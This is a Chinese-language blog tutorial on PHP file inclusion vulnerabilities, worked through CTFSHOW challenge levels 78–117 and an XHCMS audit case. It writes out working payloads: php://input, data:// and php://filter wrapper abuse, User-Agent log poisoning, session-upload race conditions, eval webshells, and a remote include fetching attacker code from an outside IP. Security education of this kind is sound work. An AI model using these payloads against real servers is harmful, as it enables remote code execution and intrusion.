chenhongl

导航

 

#知识点:
1、解释-什么是文件包含
2、分类-本地LFI&远程RFI
3、利用-配合上传&日志&会话(session)
4、利用-伪协议&编码&算法等

#核心知识:
1、本地包含LFI&远程包含RFI-区别
  一个只能包含本地,一个可以远程加载
  具体形成原因由代码和环境配置文件决定(远程条件决定)
2、各类脚本语言包含代码写法-见下文
  <!--#include file="1.asp" -->
  <!--#include file="top.aspx" -->
  <c:import url="http://thief.one/1.jsp">
  <jsp:include page="head.jsp"/>
  <%@ include file="head.jsp"%>
  <?php include('test.php')?>    //php
3、各类脚本语言包含伪协议玩法-见图
https://www.cnblogs.com/endust/p/11804767.html

#思路要点:
-黑盒发现:主要观察参数传递的数据和文件名是否对应
-白盒发现:
  1、可通过应用功能追踪代码定位审计
  2、可通过脚本特定函数搜索定位审计
  3、可通过伪协议玩法绕过相关修复等

#本课总结:
  1、有可控文件如能上传文件,配合上传后包含
  2、无可控文件可以利用日志或Session&伪协议
  3、代码固定目录及文件后缀时需考虑版本绕过
  4、伪协议玩法是建立在代码中只有变量存在时

 

一、什么是文件包含

1、文件包含就是引用文件,目的是代码的共享

【例】:
# 1.php:

<?phpinfo();?>


# test2.php:

<?include('1.php');?>   //包含的是文件的路径

test2.php包含了1.php,那么访问test2.php,就能实现执行phpinfo()的效果

http://127.0.0.1:8081/web/test2.php

比如,实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件
  1.每个需要过滤的地方,都进行一次过滤的编写;
  2.每个需要过滤的地方,只需进行一次文件包含调用过滤函数(代码共享);

 

2、文件包含漏洞的原理
包含了这个文件,就会对包含的文件代码进行执行,如果包含的文件可控,那就可能形成漏洞
比如: 如果包含的是变量,如果x可控,我们就可以指定变量的内容,从而进行攻击
  $file=$_GET['x'];  
  include($file);

文件包含攻击思路:
  1.配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,图片代码被触发;(有上传文件的地方,上传有后门的文件)
  2.配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码;(日志文件通过UA信息植入后门代码)
  3.配合会话文件进行getshell;

解析:

  本地包含:LFI(local file include)

  包含一个文件,这个文件有后门代码,就可以shell连上去,

  这个文件哪里来?

    1. 有文件上传的地方,上传文件到对方服务器上(上传文件的地方有漏洞,直接就上传可执行文件;上传文件有过滤,上传非脚本格式的文件,比如图片);

    2. 没有文件上传的地方,借助日志文件写入(修改User-agent)、session写入;

    3. 利用伪协议,没有上传文件也能进行php代码的执行,可以读文件,写文件(同时可以进行编码算法的转换)

      伪协议包含的条件:

        ① 各种某种伪协议的开关需要打开;

        ② 包含的文件路径不能有前后缀

          $file=$_GET['x'];   //?x=index.php (x参数的值=文件名的),可以尝试修改文件名

                  include($file);  //前后不能指定,否则伪协议失效,比如include('x/'.$file);  或者 include($file.'php');

    

黑盒发现:

  主要观察参数传递的数据和文件名是否对应
  比如:

    $file=$_GET['x'];   //?x=index.php (x参数的值=文件名的),可以尝试修改文件名

    include($file);

 

二、文件包含案例

CTF应用-CTFSHOW-78关卡到117关卡

1、78关

代码:

if(isset($_GET['file'])){
  $file = $_GET['file'];
  include($file);   
}else{
  highlight_file(__FILE__);
}

(1)查看代码,属于文件包含,而且是参数可控,但没有找到文件上传的地方,也不知道可包含的对方的文件路径,

(2)一般是包含日志或者包含伪协议

#常见语言伪协议:

1646801333646-5c74b829-b53b-4ea5-b1da-f48ee69bc5ad.png

 

# PHP伪协议:

PHP伪协议(PHP Wrapper)是一种在PHP中用于访问和操作不同数据源的特殊URL语法。它们不是实际的网络协议,而是PHP内部实现的一种机制,允许开发者通过统一的接口来读取或写入不同的数据流,如本地文件、HTTP请求体、压缩文件等。

1646801354113-d9be0538-6353-47f9-a68c-9bcf89c8dd81.png

 

(3) 尝试包含伪协议,进行访问

① 尝试file协议

http://xxx/?file=file://flag.php    //失败,file协议需要具体的文件路径

② 尝试php协议

http://xxx/?file=php://input

其中,POST data:

<?php phpinfo();?>   

 

③ 页面显示phpinfo的信息,说明可以执行代码

 

④ post data 改为 <?php system(ls);?>   

查询到当前目录下的文件(查询到文件flag.php)

 

 

⑤  post data 改为 <?php system('tac flag.php');?>  进行文件的读取

读取到flag的值

 

⑥ 知道文件路径后,也可以用filter协议
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

将得到的编码进行解码后得到flag

filter协议 payload:?file=php://filter/read=convert.base64-encode/resource=flag.php     

input协议payload:?file=php://input   post data:<?php system('tac flag.php');?>  

data协议payload:?file=data://text/plain,<?php system('tac flag.php');?>

http协议payload: ?file=http://47.94.236.117/1.txt     1.txt:<?php system('tac flag.php');?>   //如果1.txt写了后门代码,就可以连上shell

  http协议的远程包含和本地包含,具体形成原因由代码和环境配置文件决定

  远程包含需要allow_url_fopen和allow_url_include都为On。

  允许通过HTTP 1.0的GET方法,以只读的方式访问文件或者资源。 CTF中通常用于远程包含。

 

2、79关

if(isset($_GET['file'])){
  $file = $_GET['file'];
  $file = str_replace("php", "???", $file);
  include($file);
}else{
  highlight_file(__FILE__);
}

过滤了有file和php关键字的协议,尝试data、http等协议,
  payload: ?file=data://text/plain,<?=system('tac flag.*');?>    //flag.php用flag.* 代替
  payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
  payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
远程文件包含:如果不支持,那就只能支持本地的。
条件:
  allow_url_fopen:on
  allow_url_include:on
  在代码也有相关限制。


3、80关,81关

if(isset($_GET['file'])){
  $file = $_GET['file'];
  $file = str_replace("php", "???", $file);
  $file = str_replace("data", "???", $file);
  include($file);
}else{
  highlight_file(__FILE__);
}

① 过滤了php,data
② 尝试http,也被禁用了(禁用了文件包含);还有file协议,但是file、zip等协议是需要加文件的绝对路径;

即使知道知道文件的路径,由于查看的文件名是flag.php,有php的关键字,这样的文件名也不能用*代替

(之前能用*号代替是因为他调用系统命令,比如system('tac flag.*') 路径上的文件名字如果flag.*,那么系统就会认为他是flag.*)

 

③ 伪协议无法包含,那么可以尝试包含日志文件,查看请求发现,中间件是Nginx

在网上查看Nginx的日志文件默认为/var/log/nginx/access.log

④ 尝试payload:http://xxx/?file=/var/log/nginx/access.log

成功读取到文件(可以包含日志文件):

 右键 - 查看网页源代码:

⑤ 由于日志信息记录了访问者的UA信息等,尝试修改UA信息

抓包,修改UA信息,

 修改为:<?php system('cat fl0g.php');?>   //文件名变了,前一步查询到文件名

 重新发包,查看源代码(日志),拿到flag

 

4、81关

过滤php、data、冒号

 ① 测试日志文件是否可以包含

可以包含日志文件(日志文件没有冒号):

 ② 抓包,修改User-Agent

修改为:<?php system('ls');?> ,查看当前目录下的文件

 查看源代码:目标文件为fl0g.php

 ③ 继续修改user-agent 为:<?php system( 'tac fl0g.php');?>,查看fl0g.php,文件的内容

④重新发包,查看源代码,拿到flag

 

5、82-86关

文件包含:配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,图片代码被触发;

本地包含:LFI(local file include)
包含一个文件,这个文件有后门代码,就可以shell连上去
这个文件哪里来?
  1.可以通过文件上传获取,上传的文件在服务器上面。
  2.没有文件上传,借助日志写入(UA),session文件写入
  3.伪协议没有文件上传也能进行PHP代码执行

 

(1)session包含

参考:https://www.cnblogs.com/lnterpreter/p/14086164.html
   https://www.cnblogs.com/echoDetected/p/13976405.html

在不同环境下session存储的目录如下:

  phpstudy:存储在D:\phpstudy_pro\Extensions\tmp\tmp,这里有很多文件以sess_开头的文件名

  linux:存储在/tmp或者/var/lib/php/session

  Windows:存储在C:\WINDOWS\Temp


所以session存储的文件是固定路径,如果知道了这个路径,那么就可以用包含session文件来实现getshell


有session的网站,当你访问时,网站就会记录会话,即session,比如phpstudy保存session到/Extensions/tmp/tmp, 每个用户都会有一个会话文件

在自己本地构造一个upload文件,后缀为html

# upload.html
<!DOCTYPE html> <html> <body> <form action="http://127.0.0.1:8085/book/include.php" method="POST" enctype="multipart/form-data">   <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />   <input type="file" name="file" />   <input type="submit" value="submit" /> </form> </body> </html>
#include.php
<?php $file=$_GET['filename']; include($file); ?>

 

选择一个文件进行上传,然后到phpstudy_pro\Extensions\tmp\tmp存储session目录下观察session文件变化

 

发现每次访问(建立会话)就会产生session文件,一个用户一个session文件,虽然说sess_头固定,但是后面的字符串是随机的,

怎么才能知道后面的字符串是什么或者生成的字符串是可以控制的?
上传文件操作时抓包,发现数据包中PHPSESSID的值,与sess_后面的值一致,可以通过修改PHPSESSID来进行控制sess_的文件名

 

PHP特性:利用PHP_SESSION_UPLOAD_PROGRESS加条件竞争来进行文件包含

  PHP_SESSION_UPLOAD_PROGRESS:可以控制sess_生成的文件名称;

  条件竞争:是因为session.upload_progress.cleanup = on,session文件很快会被自动删除,要在删除前让攻击操作成功

以POST的形式发包,随意上传一个文件

<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

上传文件时,抓包,这里我们修改Cookie中PHPSESSID的值为flag ,PHP将会在服务器的session文件夹创建一个文件:tmp/tmp/sess_flag” ,并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马,修改如下

 参考:https://www.cnblogs.com/NPFS/p/13795170.html


(1)利用伪协议进行文件包含:
#include.php
  $file=$_GET['filename'];
  include($file);

# 1.txt

  <?php phpinfo();?>

访问http://127.0.0.1:8081/web/include.php?filename=1.txt

成功读取到1.txt的内容

 

或者用php://filter

访问http://127.0.0.1:8081/web/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt

也能读取到1.txt的内容

如果修改了include包含文件的路径:#include.php

  $file=$_GET['filename'];
  include(‘conn/’.$file);    //包含指定目录conn/ 下的文件

如果还要包含,这样访问就可以http://127.0.0.1:8081/web/include.php?filename=../1.txt

 

但是这这一关不能用伪协议。伪协议不包含的文件路径不能有前后缀,伪协议会失效,所以需要用session包含文件


6、87关

if(isset($_GET['file'])){
  $file = $_GET['file'];
  $content = $_POST['content'];
  $file = str_replace("php", "???", $file);
  $file = str_replace("data", "???", $file);
  $file = str_replace(":", "???", $file);
  $file = str_replace(".", "???", $file);   //过滤. ,
  file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);   //对$file(文件路径)解码1次,然后通过post对content进行传参,利用content写入后门代码
}else{
  highlight_file(__FILE__);
}

过滤了. ,那么http://xx/access.log 文件名有.,就不能包含了

发现代码中有urldecode解码的函数,
(1)利用base64编码:

因为代码中有1次解码操作,加上浏览器会自动进行URL解码1次,所以需要对URL地址进行2次编码

原地址:http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/?file=php://filter/write=convert.base64-decode/resource=123.php 

① 对php://filter/write=convert.base64-decode/resource=123.php 进行第1次编码后,

第1次编码后如果直接去浏览器进行访问,浏览器会自动解码,得到的还是原来的地址,还是会被过滤

 

② 所以,再进行1次编码:

 ③ php://filter/write=convert.base64-decode/resource=123.php 

content用base64进行写入,所以传入的值也要编码

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

 前面要加aa,不然会报错,因为base64编码默认是四个比特字节一次。

访问123.php,psot提交a=phpinfo();

(2)利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource=2.php 也要经过两次编码
content=<?cuc riny($_CBFG[1]);?>   //<?php eval($_POST[1]);?>用凯撒13加密以后
访问2.php,post提交1=phpinfo();

#写入后门代码

#查询flag

 

7、88关

if(isset($_GET['file'])){
  $file = $_GET['file'];
  if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
    die("error");
  }
  include($file);  //不含上面的关键字就可以包含
}else{
  highlight_file(__FILE__);
}

过滤了PHP及各种符号,考虑可以使用data伪协议,以及php后门代码用base64进行处理

① 尝试Payload:http://xxx/?file=data://text/plain;<?=system(tac flag);?>   访问后显示“error”,说明有过滤
② 对<?php system('ls');?> 进行base64编码,得到的编码值有+、=,也会被过滤

③ 继续尝试对<?php system('tac *.php');echo 123;?>ad  进行base64编码,编码值没有符号 

④payload: http://xxx/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
获取到flag的值

 

8、117关

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
  if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
    die('too young too simple sometimes naive!');
  }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

① 发现http、data、base64等加密算法、log、session等都被过滤,但是php没有被过滤

② convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

③ 在php工具平台,对后门代码进行处理:

https://tool.lu/coderunner

 

④ 用php伪协议,filter写入

Payload:http://xxx/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=x.php

contents=?<hp pvela$(P_SO[T]a;)>?

将x.php写入到对方服务器,内容是加密后的后门代码:

 

 ⑤ 访问x.php

 

四、CMS源码-XHCMS文件包含漏洞-代码审计&日志&绕过

1、搜索特定函数寻包含点
2、固定目录及后缀名需绕过
3、由CMS无上传用日志包含
4、利用长度绕过后缀名固定

① 查看源代码,搜索关键字“include”,说明可能存在文件包含的漏洞

 

② 发现index.php中包含的文件路径是有后缀的,所以不能用伪协议进行文件包含

③ 查看整个网站,没有找到文件上传的地方,所以不能用文件上传进行文件包含

④ 考虑包含日志文件或者session包含

⑤ 日志包含

找到日志文件的路径为:../../../Apache/logs/access.log

尝试执行:http://xx/index.php/?r=../../../Apache/logs/access.log,不能成功,因为access.log会被自动加上.php的后缀

 ⑥ 利用php低版本,利用长度限制绕过

Payload:
http://xx/index.php/?r=../../../Apache/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

可以包含日志文件:

 

⑥ 抓包,将后门代码写到日志文件中

<?php eval($_POST[1]);?>

⑥ 利用漏洞

 这个案例必须要利用php低版本5.x才行

 

posted on 2024-05-14 15:42  chenhongl  阅读(100)  评论(0)    收藏  举报